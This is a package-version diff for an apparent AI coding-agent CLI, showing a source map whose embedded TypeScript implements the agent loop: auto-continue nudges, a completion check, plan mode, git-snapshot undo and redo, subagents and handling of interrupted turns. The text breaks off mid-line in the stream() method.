@cryer/star-cli 0.3.8 → 0.3.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +16 -2
- package/README.zh-CN.md +15 -2
- package/dist/chunk-4IRY44TG.js +34 -0
- package/dist/chunk-4IRY44TG.js.map +1 -0
- package/dist/chunk-A5PXPWHB.js +2014 -0
- package/dist/chunk-A5PXPWHB.js.map +1 -0
- package/dist/chunk-IJGUW4PM.js +504 -0
- package/dist/chunk-IJGUW4PM.js.map +1 -0
- package/dist/chunk-MNVCCOI2.js +3510 -0
- package/dist/chunk-MNVCCOI2.js.map +1 -0
- package/dist/chunk-MVAMPVTA.js +232 -0
- package/dist/chunk-MVAMPVTA.js.map +1 -0
- package/dist/{chunk-IYWYSFSF.js → chunk-PDFC7QVW.js} +339 -218
- package/dist/chunk-PDFC7QVW.js.map +1 -0
- package/dist/chunk-URC7JXKX.js +1414 -0
- package/dist/chunk-URC7JXKX.js.map +1 -0
- package/dist/loop-TW2FHL7J.js +17 -0
- package/dist/main.js +257 -79
- package/dist/main.js.map +1 -1
- package/dist/provider-EWMUPBLH.js +11 -0
- package/dist/provider-EWMUPBLH.js.map +1 -0
- package/dist/{repl-YA23CK5R.js → repl-GBVIW5QR.js} +435 -262
- package/dist/repl-GBVIW5QR.js.map +1 -0
- package/dist/tools-7EBGCYYE.js +18 -0
- package/dist/tools-7EBGCYYE.js.map +1 -0
- package/package.json +18 -26
- package/dist/chunk-IYWYSFSF.js.map +0 -1
- package/dist/chunk-OHLA2DP7.js +0 -5849
- package/dist/chunk-OHLA2DP7.js.map +0 -1
- package/dist/loop-2MOFLXTG.js +0 -12
- package/dist/repl-YA23CK5R.js.map +0 -1
- /package/dist/{loop-2MOFLXTG.js.map → loop-TW2FHL7J.js.map} +0 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/agent/loop.ts","../src/context/compaction.ts","../src/context/tokens.ts","../src/context/elision.ts","../src/core/events.ts","../src/core/git.ts","../src/hooks/runner.ts","../src/llm/retry.ts","../src/llm/stream.ts","../src/permissions/gate.ts","../src/permissions/shell.ts","../src/permissions/lex-cache.ts","../src/permissions/rules.ts","../src/permissions/allow.ts","../src/session/title.ts","../src/agent/project-memory.ts","../src/agent/skills.ts","../src/agent/subagent.ts","../src/agent/user-memory.ts"],"sourcesContent":["import { type LanguageModel, tool as aiTool, generateText } from \"ai\";\nimport { type StarConfig, resolveCompactThreshold } from \"../config/schema\";\nimport { type CompactionResult, compactMessages, summarizeMessages } from \"../context/compaction\";\nimport { elideStaleContent } from \"../context/elision\";\nimport { estimateToolSchemaTokens } from \"../context/tokens\";\nimport {\n type StreamErrorInfo,\n type StreamEvent,\n type TokenUsage,\n toStreamErrorInfo,\n usageTotalTokens,\n} from \"../core/events\";\nimport { formatGitSummary, getGitSummaryCached } from \"../core/git\";\nimport {\n isOversizedImageError,\n isVisionUnsupportedError,\n stripAllImages,\n stripOversizedImages,\n} from \"../core/image\";\nimport {\n type ChatInput,\n type CoreMessage,\n INTERRUPTED_TOOL_RESULT_TEXT,\n type MessageMeta,\n type StarMessage,\n UNFINISHED_TOOL_RESULT_TEXT,\n coreMessageText,\n isSyntheticUserMessage,\n reconcileStarMessages,\n retractLastTurn,\n toCoreMessages,\n toStarMessage,\n} from \"../core/messages\";\nimport { type HookEvent, type HookRunResult, runHooks } from \"../hooks/runner\";\nimport { createModel } from \"../llm/provider\";\nimport { resolveModelConfig } from \"../llm/registry\";\nimport { computeRetryDelayMs, isRetryableStreamError, summarizeStreamError } from \"../llm/retry\";\nimport { streamChat } from \"../llm/stream\";\nimport { checkPermission } from \"../permissions/gate\";\nimport type { PermissionRequest } from \"../permissions/types\";\nimport type { SessionStore } from \"../session/store\";\nimport { scheduleSessionTitle } from \"../session/title\";\nimport { diffTreeNames, restoreTree, trackTree } from \"../snapshot/git-tree\";\nimport {\n beginTurn,\n currentTurnSeq,\n dropTurnSnapshots,\n setSnapshotHooks,\n undoTurnSnapshots,\n} from \"../tools/fs/snapshots\";\nimport { ToolRegistry } from \"../tools/registry\";\nimport { TodoStore, pendingTodoTitles, setTodoPersistGuard } from \"../tools/todo\";\nimport type { ToolResult } from \"../tools/types\";\nimport { defaultAgentTasks } from \"./agent-tasks\";\nimport { readProjectMemory } from \"./project-memory\";\nimport { createSkillTool, discoverSkills, formatSkillsBlock } from \"./skills\";\nimport { MAX_SUBAGENT_DEPTH, convertUsagePricing, createSubagentTool } from \"./subagent\";\nimport { createRememberTool, readUserMemory } from \"./user-memory\";\n\nexport interface AgentLoopOptions {\n model: LanguageModel;\n registry: ToolRegistry;\n config: StarConfig;\n cwd: string;\n system?: string;\n sessionStore?: SessionStore | null;\n // Effective context window for compaction (per-model override resolved by\n // the caller); falls back to config.contextMaxTokens when omitted.\n contextMaxTokens?: number;\n // Per-call provider metadata (e.g. the model's reasoningEffort), resolved\n // by the caller via llm/provider.ts reasoningEffortMetadata.\n providerMetadata?: Record<string, Record<string, unknown>>;\n // Per-model sampling temperature (the model's [[models]] temperature key),\n // resolved by the caller; undefined falls through to the SDK default\n // (ai@4: 0). Subagents inherit it.\n temperature?: number;\n // Per-model stream watchdog overrides (the model's [[models]] keys),\n // resolved by the caller; fall back to the top-level config values when\n // unset. Subagents inherit them.\n streamIdleTimeoutSec?: number;\n streamFirstChunkTimeoutSec?: number;\n // Depth of this loop in the subagent chain (0 = main agent). At\n // MAX_SUBAGENT_DEPTH the subagent tool is not registered, so subagents\n // cannot spawn further subagents.\n subagentDepth?: number;\n // Read-only loop (subagent.ts read_only spawns): the registry is cut down\n // to read-level tools, so research/review children cannot modify files,\n // run shell commands, or kill tasks. Only meaningful for subagent loops\n // (root loops use config.permissionMode for this).\n readOnly?: boolean;\n // Identity threaded into ToolContext: \"root\" (default) for the main loop;\n // subagent.ts assigns each child loop a unique id (its background task id\n // for run_in_background spawns) so the task_* tools can scope background\n // task ownership per agent.\n agentId?: string;\n // Whether the active model accepts image input (the model's [[models]]\n // vision key), resolved by the caller; undefined = images allowed.\n // Subagents inherit it. When false, read_image/screenshot decline with a\n // text error instead of attaching images the endpoint would reject.\n vision?: boolean;\n // The [[models]] entry name opts.model was resolved from. Subagents\n // inherit it, and it keys the price lookup when subagent usage is\n // converted into this model's priced tokens (same model id can sit in\n // several entries with different prices — the entry name is exact).\n modelName?: string;\n // Base delay between stream retries (doubled per attempt); tests shrink it.\n retryDelayMs?: number;\n}\n\nexport const PLAN_MODE_PROMPT =\n \"\\n\\nYou are currently in PLAN MODE. Research the task using only the read-only tools available to you, then present a concrete, step-by-step implementation plan as your final answer. You must not modify files, run shell commands, or otherwise change the system — write/exec tools are unavailable in this mode. Do not ask the user to run commands for you; note manual steps in the plan instead. The user will review your plan and approve it before any execution begins.\";\n\ninterface PendingToolCall {\n id: string;\n name: string;\n args: unknown;\n}\n\n// Matches announcements of pending work (\"我会保留…\", \"接下来我将…\",\n// \"开始执行转换…\", \"I will now convert…\") in a text-only reply — the signature\n// of a model that ended its turn without doing what it just said it would do.\n// The lookaheads keep polite closers out: \"Let me know if you need anything\n// else\" / \"让我知道\" end a finished task, they don't announce work. Keyword\n// matching can never catch every phrasing, so for turns that used tools this\n// is only the fallback when the semantic completion check can't answer (see\n// the text-only branch in stream()).\nconst PENDING_WORK_PATTERN =\n /(?:我将|我会|我现在|接下来|下一步|下面(?:我|将)|稍后|随后|准备开始|现在开始|马上|即将|这就|待会|开始(?:执行|进行|处理|转换|动手|生成|写入|运行|创建)|(?:完成后|然后|接着)会|让我(?:们)?(?:来)?(?!知道)|I will|I'll|I am going to|I'm going to|I shall|\\blet me(?!\\s+know\\b)|next,? I|I will now)/i;\n\nconst AUTO_CONTINUE_NUDGE =\n \"[auto-continue] You ended your turn with words instead of actions. Do not describe or restate the plan — continue the task NOW by calling tools. Reply with text only if the task is already fully complete.\";\n\nconst EMPTY_REPLY_NUDGE =\n \"[auto-continue] Your previous reply was empty — no text and no tool calls. If the task is fully complete, reply with one short confirmation; otherwise continue NOW by calling tools.\";\n\n// Sent after the idle watchdog cut a reply mid-generation: the partial text\n// stays committed, so the model resumes where it stopped instead of\n// regenerating from scratch (a resend would hit the same stalling relay and\n// re-bill the whole prompt).\nconst TRUNCATED_CONTINUE_NUDGE =\n \"[auto-continue] Your previous reply was cut off mid-stream by a timeout — it is incomplete. Resume EXACTLY where you stopped: do not repeat or restate what you already wrote; continue with the next tool call or the remainder of the text.\";\n\n// An empty reply the model finished with a content filter reproduces on every\n// identical resend (the filter judged the request itself), so it gets one\n// confirmation resend before steering changes the input. Any other empty\n// finish — stop with no content, or no finish at all — is indistinguishable\n// from a relay hiccup and gets the full retry budget first.\nfunction isFilteredEmptyFinish(finishReason: string | undefined): boolean {\n return finishReason === \"content-filter\";\n}\n\n// After the retry budget is spent, an empty reply finished deliberately\n// (stop/content-filter) is steered with a nudge; an empty finish of any other\n// kind (idle-timeout, none) means the stream stayed sick and errors out.\nfunction isSteerableEmptyFinish(finishReason: string | undefined): boolean {\n return finishReason === \"stop\" || finishReason === \"content-filter\";\n}\n\n// Appended to a nudge that spends the last continuation budget, so the model\n// knows the next tool-less reply hands the turn back to the user instead of\n// being nudged again — its cue to wrap up or report what remains.\nfunction finalNudgeWarning(autoContinues: number, maxAutoContinues: number): string {\n return autoContinues >= maxAutoContinues\n ? \" This is the final automatic continuation — if your next reply again has no tool calls, nudging stops and the turn is handed back to the user. Finish the work now or summarize what remains.\"\n : \"\";\n}\n\nconst COMPLETION_CHECK_TIMEOUT_MS = 30_000;\n\n// Attaches per-turn volatile context (git state) to the latest user message —\n// request-only, never persisted. Keeping it out of the system message and out\n// of the immutable history means a changed repo state between turns never\n// invalidates the prompt-cache prefix: the block always lands in the\n// not-yet-cached tail.\nexport function attachTurnContext(messages: CoreMessage[], context: string | null): CoreMessage[] {\n if (!context) return messages;\n for (let i = messages.length - 1; i >= 0; i--) {\n const message = messages[i];\n if (message?.role !== \"user\") continue;\n const reminder = {\n type: \"text\" as const,\n text: `<system-reminder>\\n${context}\\n</system-reminder>`,\n };\n const content =\n typeof message.content === \"string\"\n ? message.content\n ? [reminder, { type: \"text\" as const, text: message.content }]\n : [reminder]\n : [reminder, ...message.content];\n const copy = messages.slice();\n copy[i] = { ...message, content };\n return copy;\n }\n return messages;\n}\n\n// Keyword matching cannot catch every phrasing of \"I am about to…\", so a\n// text-only end to a turn that used tools gets a semantic check: the model\n// itself judges whether the user's request is actually finished. Returns\n// null when the check fails (network, timeout, unparseable reply) — the\n// caller then treats the turn as complete rather than nudging on a broken\n// signal.\nasync function checkTaskComplete(\n model: LanguageModel,\n request: string,\n finalReply: string,\n signal: AbortSignal,\n temperature?: number,\n): Promise<boolean | null> {\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), COMPLETION_CHECK_TIMEOUT_MS);\n const onAbort = () => controller.abort();\n signal.addEventListener(\"abort\", onAbort, { once: true });\n try {\n const { text } = await generateText({\n model,\n maxTokens: 8,\n temperature,\n abortSignal: controller.signal,\n prompt: [\n \"An AI coding agent was given this task by the user:\",\n `<task>\\n${request.slice(0, 2000)}\\n</task>`,\n \"The agent has stopped calling tools and ended with this reply:\",\n `<reply>\\n${finalReply.slice(0, 2000)}\\n</reply>`,\n \"Has the agent fully completed the task — every requested action actually performed, and the result verified by running a check (tests, build, or inspecting the produced output) rather than assumed? For a task that changed code, completion also requires tests covering the change when the project has a test setup, and a test run that actually passed — a reply that claims success without an observed green check is not complete. Or is it only describing, planning, or reporting progress with work still left? Answer with exactly one word: DONE or NOT_DONE.\",\n ].join(\"\\n\"),\n });\n const verdict = text.trim().toUpperCase();\n if (verdict.startsWith(\"NOT_DONE\")) return false;\n if (verdict.startsWith(\"DONE\")) return true;\n return null;\n } catch {\n return null;\n } finally {\n clearTimeout(timer);\n signal.removeEventListener(\"abort\", onAbort);\n }\n}\n\nconst STREAM_RETRY_BASE_DELAY_MS = 1000;\n\n// Stop-hook timeout on the user-interrupt path: Esc hands the prompt back\n// immediately, so a hanging Stop hook gets seconds, not its configured\n// (default 30s) budget.\nconst ABORT_STOP_HOOK_TIMEOUT_SEC = 3;\n\n// The redo stack labels each entry with the start of the undone turn's user\n// message, so the /redo prompt can say what restoring brings back.\nconst REDO_LABEL_MAX = 40;\n\n// Stable JSON for doom-loop signatures: object keys sort recursively so the\n// same arguments serialize identically regardless of key order.\nfunction stableStringify(value: unknown): string {\n if (value === undefined) return \"undefined\";\n if (value === null || typeof value !== \"object\") return JSON.stringify(value) ?? \"null\";\n if (Array.isArray(value)) return `[${value.map(stableStringify).join(\",\")}]`;\n const record = value as Record<string, unknown>;\n const entries = Object.keys(record)\n .sort()\n .map((key) => `${JSON.stringify(key)}:${stableStringify(record[key])}`);\n return `{${entries.join(\",\")}}`;\n}\n\n// Resolves true after `ms`, or false immediately when the signal aborts.\nfunction sleep(ms: number, signal: AbortSignal): Promise<boolean> {\n if (signal.aborted) return Promise.resolve(false);\n return new Promise((resolve) => {\n const onAbort = () => {\n clearTimeout(timer);\n resolve(false);\n };\n const timer = setTimeout(() => {\n signal.removeEventListener(\"abort\", onAbort);\n resolve(true);\n }, ms);\n signal.addEventListener(\"abort\", onAbort, { once: true });\n });\n}\n\nexport class AgentLoop {\n // History with side-band meta: synthetic user messages (nudges, background\n // reports, tool images) carry a MessageMeta so turn-boundary scans skip\n // them; the model only ever sees the mapped CoreMessage view.\n private messages: StarMessage[] = [];\n private readonly opts: AgentLoopOptions;\n // Seq + user-message index of each turn started via stream(); lets /undo\n // match a retracted turn to the file snapshots it produced. `tree` is the\n // whole-tree git snapshot captured at the turn's start (root loop only,\n // config.gitSnapshots) — when present, /undo restores it instead of\n // replaying per-file snapshots, which also covers bash-made changes.\n // Cleared when history is replaced wholesale (resume/compact), because\n // indices no longer line up — in that case /undo only retracts messages,\n // never wrong files.\n private turnMarkers: { seq: number; userIndex: number; tree?: string }[] = [];\n // Pre-undo tree snapshots, latest last: a git-path /undo pushes the\n // pre-undo working tree here so /redo can restore it exactly. Only the git\n // path feeds this — per-file snapshot undos stay non-redoable.\n private redoStack: { tree: string; label: string }[] = [];\n // Start of the most recently retracted turn's user message; undoLastTurn\n // consumes it as the redo label right after retractLastTurn sets it.\n private lastUndoneLabel = \"\";\n // Doom-loop guard: signature of the most recent tool call and how many\n // times in a row it has repeated. Any different call resets the count, and\n // each new user turn restarts the streak.\n private lastToolSignature: string | null = null;\n private repeatedToolCalls = 0;\n // Token usage subagents consumed, waiting to fold into this loop's next\n // finish event with usage: sync children report when their tool call\n // settles, background ones whenever they finish (drained or not).\n // Consumers meter only root-loop finish events, so folding here bills\n // subagent spend with zero consumer changes — /cost, /usage and\n // sessionBudgetUsd all cover it. A background child still running when the\n // session's last finish has passed never reports (best effort, noted in\n // agent-tasks cleanup paths).\n private subagentUsage: TokenUsage | null = null;\n // Turn context of the in-flight stream() turn, stamped onto every tool\n // execution so file snapshots attribute root changes to a turn and mark\n // subagent changes as excluded from turn-level retraction.\n private activeTurnSeq = 0;\n private activeTurnUserIndex = -1;\n private titleScheduled = false;\n private titleInput?: string;\n // Rendered git context for the in-flight turn (null when unavailable);\n // snapshotted at turn start so every step of the turn sends the same block.\n private turnGitContext: string | null = null;\n // Request-view cache: the CoreMessage[] sent to the model, with the turn's\n // volatile context already attached. Rebuilt only when the history actually\n // changed — the cache key is the history array's identity plus its length\n // (wholesale rewrites like compaction/image-stripping replace the array,\n // appends grow it; history messages are never mutated in place) and the\n // turn context string. Saves a full toCoreMessages + attachTurnContext copy\n // per stream attempt, which retried steps used to pay every time.\n private requestMessagesCache: {\n source: readonly StarMessage[];\n length: number;\n context: string | null;\n result: CoreMessage[];\n } | null = null;\n // Memoized per (registry, plan flag): tools register on the registry only\n // at loop construction, and the plan filter re-reads the live permission\n // mode on every call — so a built map stays valid until either input\n // changes, and a runtime mode switch rebuilds exactly once. schemaTokens\n // (the tool map's share of the request window) is computed alongside since\n // it depends on the same inputs.\n private aiToolsCache: {\n registry: ToolRegistry;\n plan: boolean;\n tools: Record<string, unknown>;\n schemaTokens: number;\n } | null = null;\n // Lazily resolved auxiliary model (config.smallModel) for cheap side calls\n // — compaction summaries, session titles, completion checks. Undefined =\n // use the main model; a resolution failure is surfaced once as a notice.\n private auxModelResolved = false;\n private auxModelValue?: LanguageModel;\n private auxTemperatureValue?: number;\n private auxModelError: string | null = null;\n confirmHandler?: (req: PermissionRequest) => Promise<boolean>;\n // Hook failures never block the turn (except an explicit PreToolUse block);\n // their stderr surfaces through this callback (REPL system message / stderr\n // in print mode).\n onHookWarning?: (message: string) => void;\n\n constructor(opts: AgentLoopOptions) {\n this.opts = opts;\n const depth = opts.subagentDepth ?? 0;\n if (depth > 0) {\n // Subagent todo isolation: the default registry wires the todo tools to\n // a process-wide store, so a child's todo_write would clobber the root\n // session's list (and the REPL panel mirroring it). The child gets a\n // fresh registry backed by its own store — the registry a caller hands\n // to a subagent loop is always a freshly created default one (see\n // runSubagent), so replacing it loses nothing.\n opts.registry = new ToolRegistry(new TodoStore());\n } else {\n // Root only: todo persistence follows the permission mode, so\n // readonly/plan sessions never touch .star/todos.json. The mode can\n // change at runtime, so the guard reads the live config object.\n setTodoPersistGuard(() => {\n const mode = this.opts.config.permissionMode;\n return mode !== \"readonly\" && mode !== \"plan\";\n });\n }\n if (opts.system) {\n this.messages.push({ message: { role: \"system\", content: opts.system } });\n }\n if (opts.sessionStore) {\n this.bindSnapshotHooks(opts.sessionStore);\n }\n // Read-level, so it is available at every subagent depth and in plan\n // mode. Skills are discovered lazily at execute time, so ones added\n // mid-session work without re-registering.\n opts.registry?.register(createSkillTool({ cwd: opts.cwd }));\n // Write-level like the fs write tools, so the permission gate still\n // applies in ask mode; available at every subagent depth.\n opts.registry?.register(createRememberTool());\n if (opts.registry && depth < MAX_SUBAGENT_DEPTH) {\n opts.registry.register(\n createSubagentTool({\n model: opts.model,\n config: opts.config,\n cwd: opts.cwd,\n system: opts.system,\n providerMetadata: opts.providerMetadata,\n temperature: opts.temperature,\n streamIdleTimeoutSec: opts.streamIdleTimeoutSec,\n streamFirstChunkTimeoutSec: opts.streamFirstChunkTimeoutSec,\n vision: opts.vision,\n depth,\n modelName: opts.modelName,\n getConfirmHandler: () => this.confirmHandler,\n onUsage: (usage, childModel, childModelName) =>\n this.addSubagentUsage(usage, childModel, childModelName),\n }),\n );\n }\n if (opts.readOnly && depth > 0) {\n // Read-only subagent: cut the freshly built registry — including the\n // skill/remember extras registered above — down to read-level tools.\n // Done here rather than by the caller because the constructor swaps\n // in its own registry for todo isolation (see above). The permission\n // gate stays as backstop for anything attempted outside the map.\n opts.registry?.retain((tool) => tool.permission === \"read\");\n }\n }\n\n // CoreMessage view of the history (meta stripped): what the model, the\n // display and the token estimator consume. Element identity is preserved,\n // so the estimator's per-object cache (context/tokens.ts) still hits.\n getMessages(): readonly CoreMessage[] {\n return toCoreMessages(this.messages);\n }\n\n // Full-fidelity view including the side-band meta; for flows that must not\n // lose synthetic-message markers (model switch, manual /compact).\n getStarMessages(): readonly StarMessage[] {\n return this.messages;\n }\n\n // Wire-schema token overhead of the active tool set (memoized by\n // buildAiTools). The auto-compact budget includes it; surfaced here so the\n // status bar ctx% can show the same total the compaction decision uses.\n getToolSchemaTokens(): number {\n return this.buildAiTools().schemaTokens;\n }\n\n // Auxiliary model for cheap side calls: config.smallModel, resolved once.\n // An unresolvable name/key degrades to the main model instead of breaking\n // turns; the failure rides out once as a notice at the next turn start.\n private resolveAuxModel(): void {\n if (this.auxModelResolved) return;\n this.auxModelResolved = true;\n const name = this.opts.config.smallModel;\n if (!name) return;\n try {\n this.auxModelValue = createModel(this.opts.config, name);\n this.auxTemperatureValue =\n resolveModelConfig(this.opts.config, name).temperature ?? this.opts.temperature;\n } catch (error) {\n this.auxModelError = `smallModel \"${name}\" could not be resolved (${\n error instanceof Error ? error.message : String(error)\n }); using the main model for auxiliary calls.`;\n }\n }\n\n getAuxModel(): LanguageModel {\n this.resolveAuxModel();\n return this.auxModelValue ?? this.opts.model;\n }\n\n getAuxTemperature(): number | undefined {\n this.resolveAuxModel();\n return this.auxModelValue ? this.auxTemperatureValue : this.opts.temperature;\n }\n\n // Rebinds the per-call provider metadata (e.g. after the reasoning effort\n // for the current model changed via /model) without recreating the loop.\n setProviderMetadata(metadata: Record<string, Record<string, unknown>> | undefined): void {\n this.opts.providerMetadata = metadata;\n }\n\n // Swaps the persistence target (/new starts a fresh session mid-REPL).\n // Title generation is re-armed so the new session gets one after its first\n // turn, and snapshot checkpoints now flow to the new store. The redo stack\n // dies with the old session context: its trees describe working-tree states\n // that no longer line up with the new session's conversation. Subagent\n // usage still waiting to fold belongs to the old conversation too — it\n // must not bill the new session's first finish.\n setSessionStore(store: SessionStore | null): void {\n this.opts.sessionStore = store;\n this.titleScheduled = false;\n this.titleInput = undefined;\n this.redoStack = [];\n this.subagentUsage = null;\n if (store) this.bindSnapshotHooks(store);\n }\n\n private bindSnapshotHooks(store: SessionStore): void {\n setSnapshotHooks({\n onPush: (snapshot) =>\n store.appendCheckpoint(\n {\n id: snapshot.id,\n timestamp: snapshot.timestamp,\n path: snapshot.path,\n existed: snapshot.existed,\n toolName: snapshot.toolName,\n turn: snapshot.turn,\n messageIndex: snapshot.messageIndex,\n owner: snapshot.owner,\n contentTooLarge: snapshot.contentTooLarge,\n },\n snapshot.content,\n ),\n onRemove: (ids) => store.removeCheckpoints(ids),\n });\n }\n\n async loadMessages(messages: readonly (CoreMessage | StarMessage)[]): Promise<void> {\n this.messages = reconcileStarMessages(messages.map(toStarMessage));\n this.turnMarkers = [];\n this.redoStack = [];\n // A wholesale-loaded history starts a new billing context: subagent\n // usage accumulated for the previous conversation must not fold into\n // this one's first finish.\n this.subagentUsage = null;\n this.opts.registry?.resetVolatileState();\n }\n\n // Read-only counterpart of retractLastTurn: how many messages /undo would\n // drop, which snapshot turn's file changes it would revert (undefined =\n // no verified turn, so no file snapshots may be reverted), and the turn's\n // whole-tree snapshot when one was captured. Mutates nothing, so the REPL\n // can show the preview before the user confirms.\n previewLastTurnRetraction(): { removed: number; turn?: number; tree?: string } {\n const result = retractLastTurn([...this.messages]);\n if (result.removed === 0) return { removed: 0 };\n const userIndex = result.messages.length;\n const last = this.turnMarkers[this.turnMarkers.length - 1];\n const verified = last && last.userIndex === userIndex;\n return {\n removed: result.removed,\n turn: verified ? last.seq : undefined,\n tree: verified ? last.tree : undefined,\n };\n }\n\n // Drops the final user message and everything after it, and persists the\n // trimmed history so a later /resume does not bring the turn back.\n // `turn` is the retracted turn's snapshot seq when it could be verified\n // against the marker recorded at turn start — undefined means the caller\n // must not revert any file snapshots. `tree` is the turn's whole-tree\n // snapshot when git snapshots tracked it.\n async retractLastTurn(): Promise<{ removed: number; turn?: number; tree?: string }> {\n const result = retractLastTurn([...this.messages]);\n if (result.removed === 0) return { removed: 0 };\n const userIndex = result.messages.length;\n this.lastUndoneLabel = coreMessageText(this.messages[userIndex]?.message).slice(\n 0,\n REDO_LABEL_MAX,\n );\n this.messages = result.messages;\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n this.opts.registry?.resetVolatileState();\n const last = this.turnMarkers[this.turnMarkers.length - 1];\n let turn: number | undefined;\n let tree: string | undefined;\n if (last && last.userIndex === userIndex) {\n turn = last.seq;\n tree = last.tree;\n this.turnMarkers.pop();\n }\n return { removed: result.removed, turn, tree };\n }\n\n // The confirmed /undo: retract the last turn, then revert its file changes.\n // With a whole-tree snapshot the working tree is restored from git — which\n // also reverts changes no tool snapshot saw (bash edits, deleted files) —\n // and the turn's per-file snapshots are dropped instead of replayed (they\n // would double-restore). The pre-undo tree feeds the redo stack, so /redo\n // returns to the exact state before the undo. Any git failure falls back\n // to the per-file snapshot revert, which never pushes the redo stack.\n async undoLastTurn(): Promise<{ removed: number; reverted: string[]; tree?: string }> {\n const { removed, turn, tree } = await this.retractLastTurn();\n if (removed === 0) return { removed, reverted: [] };\n if (turn !== undefined && tree !== undefined) {\n const preUndoTree = await trackTree(this.opts.cwd);\n if (preUndoTree !== null && (await restoreTree(this.opts.cwd, tree))) {\n this.redoStack.push({ tree: preUndoTree, label: this.lastUndoneLabel });\n const dropped = await dropTurnSnapshots(turn, true);\n return {\n removed,\n reverted: [\n `Restored the working tree from the git snapshot taken at the turn's start (${tree.slice(0, 8)}; covers changes from any tool, bash included; ${dropped} per-file snapshot(s) discarded).`,\n ],\n tree,\n };\n }\n }\n const reverted = turn !== undefined ? await undoTurnSnapshots(turn) : [];\n return { removed, reverted };\n }\n\n // The redo entry /redo would restore, without popping it (for the confirm\n // prompt); null when there is nothing to redo.\n peekRedo(): { tree: string; label: string } | null {\n return this.redoStack[this.redoStack.length - 1] ?? null;\n }\n\n // Restores the working tree to its state just before the last git-path\n // /undo. Conversation messages are not re-added — redo is file-level only.\n // The entry stays on the stack when the restore fails, so it can be retried.\n async redoLastUndo(): Promise<{\n ok: boolean;\n tree: string;\n label: string;\n files: number | null;\n } | null> {\n const entry = this.redoStack[this.redoStack.length - 1];\n if (!entry) return null;\n // Diff before restoring: afterwards the tree matches the work tree and\n // the changed-file count would read zero.\n const names = await diffTreeNames(this.opts.cwd, entry.tree);\n if (!(await restoreTree(this.opts.cwd, entry.tree))) {\n return { ok: false, tree: entry.tree, label: entry.label, files: null };\n }\n this.redoStack.pop();\n return { ok: true, tree: entry.tree, label: entry.label, files: names?.length ?? null };\n }\n\n // Cut point for a rewind: messages[index] should be the user message that\n // started the rewound turn, but compaction may have shifted indices, so\n // walk back to the nearest real user message — a synthetic one (nudge,\n // background report, tool image) belongs to the turn before it and is\n // never a boundary. Never touches a leading system message.\n private retractionCut(index: number): number {\n const clamped = Math.max(0, Math.min(index, this.messages.length - 1));\n for (let i = clamped; i >= 0; i--) {\n const star = this.messages[i];\n if (star && star.message.role === \"user\" && !isSyntheticUserMessage(star)) return i;\n }\n return this.messages[0]?.message.role === \"system\" ? 1 : 0;\n }\n\n countRetraction(index: number): number {\n return this.messages.length - this.retractionCut(index);\n }\n\n // Truncates the history back to the given message index (the user message\n // at that index and everything after it is dropped) and persists the\n // trimmed history, so /rewind stays consistent across resume. The redo\n // stack dies with the rewound context: its entries describe pre-/undo\n // working-tree states that no longer line up with this conversation, so\n // restoring one would clobber the rewound tree.\n async retractFromIndex(index: number): Promise<number> {\n const cut = this.retractionCut(index);\n const removed = this.messages.length - cut;\n if (removed === 0) return 0;\n this.messages = this.messages.slice(0, cut);\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n this.opts.registry?.resetVolatileState();\n this.turnMarkers = this.turnMarkers.filter((m) => m.userIndex < cut);\n this.redoStack = [];\n return removed;\n }\n\n async appendContextMessage(text: string, role: \"user\" | \"system\" = \"user\"): Promise<void> {\n const message: CoreMessage = { role, content: text };\n this.messages.push({ message });\n await this.persist(message);\n }\n\n private async persist(message: CoreMessage, meta?: MessageMeta): Promise<void> {\n await this.opts.sessionStore?.append(message, meta);\n }\n\n // Replaces oversized image parts in the in-memory history with text\n // placeholders and rewrites the persisted session, so the failed request\n // can be resent and a later resume never carries the offending images.\n private async stripOversizedImages(): Promise<number> {\n const { messages, removed } = stripOversizedImages(toCoreMessages(this.messages));\n if (removed === 0) return 0;\n this.messages = this.messages.map((star, i) => ({\n message: messages[i] ?? star.message,\n meta: star.meta,\n }));\n await this.opts.sessionStore?.replaceMessages(this.messages);\n return removed;\n }\n\n // Same rewrite as above, but for text-only endpoints that reject any image\n // at all: every image part in the history is replaced with a placeholder,\n // which also heals sessions already poisoned by an attached image.\n private async stripAllImages(): Promise<number> {\n const { messages, removed } = stripAllImages(toCoreMessages(this.messages));\n if (removed === 0) return 0;\n this.messages = this.messages.map((star, i) => ({\n message: messages[i] ?? star.message,\n meta: star.meta,\n }));\n await this.opts.sessionStore?.replaceMessages(this.messages);\n return removed;\n }\n\n // Background title generation runs once per loop, fed by the first real\n // user message of the session. It must NOT latch on the first assistant\n // step's text: that text is empty for a tool-call-only first step (the\n // common agentic case), which used to burn the one-shot flag on an empty\n // input and left every such session untitled. The store-level title check\n // makes resumed sessions that already have a title a no-op.\n private maybeScheduleTitle(): void {\n if (this.titleScheduled) return;\n const store = this.opts.sessionStore;\n if (!store) return;\n const input = this.titleInput;\n if (!input) return;\n this.titleScheduled = true;\n scheduleSessionTitle(store, input, this.getAuxModel());\n }\n\n // A user interrupt (Esc) ends the turn mid-stream, before the normal\n // assistant-message persistence runs. Whatever text and tool calls already\n // arrived are still persisted — the text marked with \"[interrupted]\" so the\n // cut-off stays visible after a resume and the model can tell its reply was\n // cut short — and streamed tool calls are closed with synthetic results so\n // the stored history stays valid for the API.\n private async *persistInterrupted(\n text: string,\n toolCalls: PendingToolCall[],\n ): AsyncGenerator<StreamEvent> {\n if (text.length === 0 && toolCalls.length === 0) return;\n const assistantMessage: CoreMessage = {\n role: \"assistant\",\n content: [\n ...(text ? [{ type: \"text\" as const, text: `${text} [interrupted]` }] : []),\n ...toolCalls.map((call) => ({\n type: \"tool-call\" as const,\n toolCallId: call.id,\n toolName: call.name,\n args: call.args,\n })),\n ],\n };\n this.messages.push({ message: assistantMessage });\n await this.persist(assistantMessage);\n for (const call of toolCalls) {\n const content = INTERRUPTED_TOOL_RESULT_TEXT;\n const synthetic: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\" as const,\n toolCallId: call.id,\n toolName: call.name,\n result: content,\n },\n ],\n };\n this.messages.push({ message: synthetic });\n await this.persist(synthetic).catch(() => {});\n yield { type: \"tool-result\", id: call.id, name: call.name, content, isError: true };\n }\n }\n\n async *stream(\n input: ChatInput,\n signal: 